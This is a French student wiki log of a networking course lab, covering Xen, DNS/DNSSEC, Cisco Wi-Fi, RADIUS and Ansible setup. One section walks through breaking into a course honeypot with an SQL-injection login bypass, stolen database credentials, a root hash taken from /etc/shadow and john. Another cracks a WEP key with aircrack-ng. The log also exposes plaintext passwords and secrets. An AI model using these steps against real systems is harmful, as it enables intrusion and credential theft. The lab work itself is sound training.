<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cbisalli</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cbisalli"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Cbisalli"/>
		<updated>2026-07-18T13:34:07Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55030</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55030"/>
				<updated>2020-12-19T00:18:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
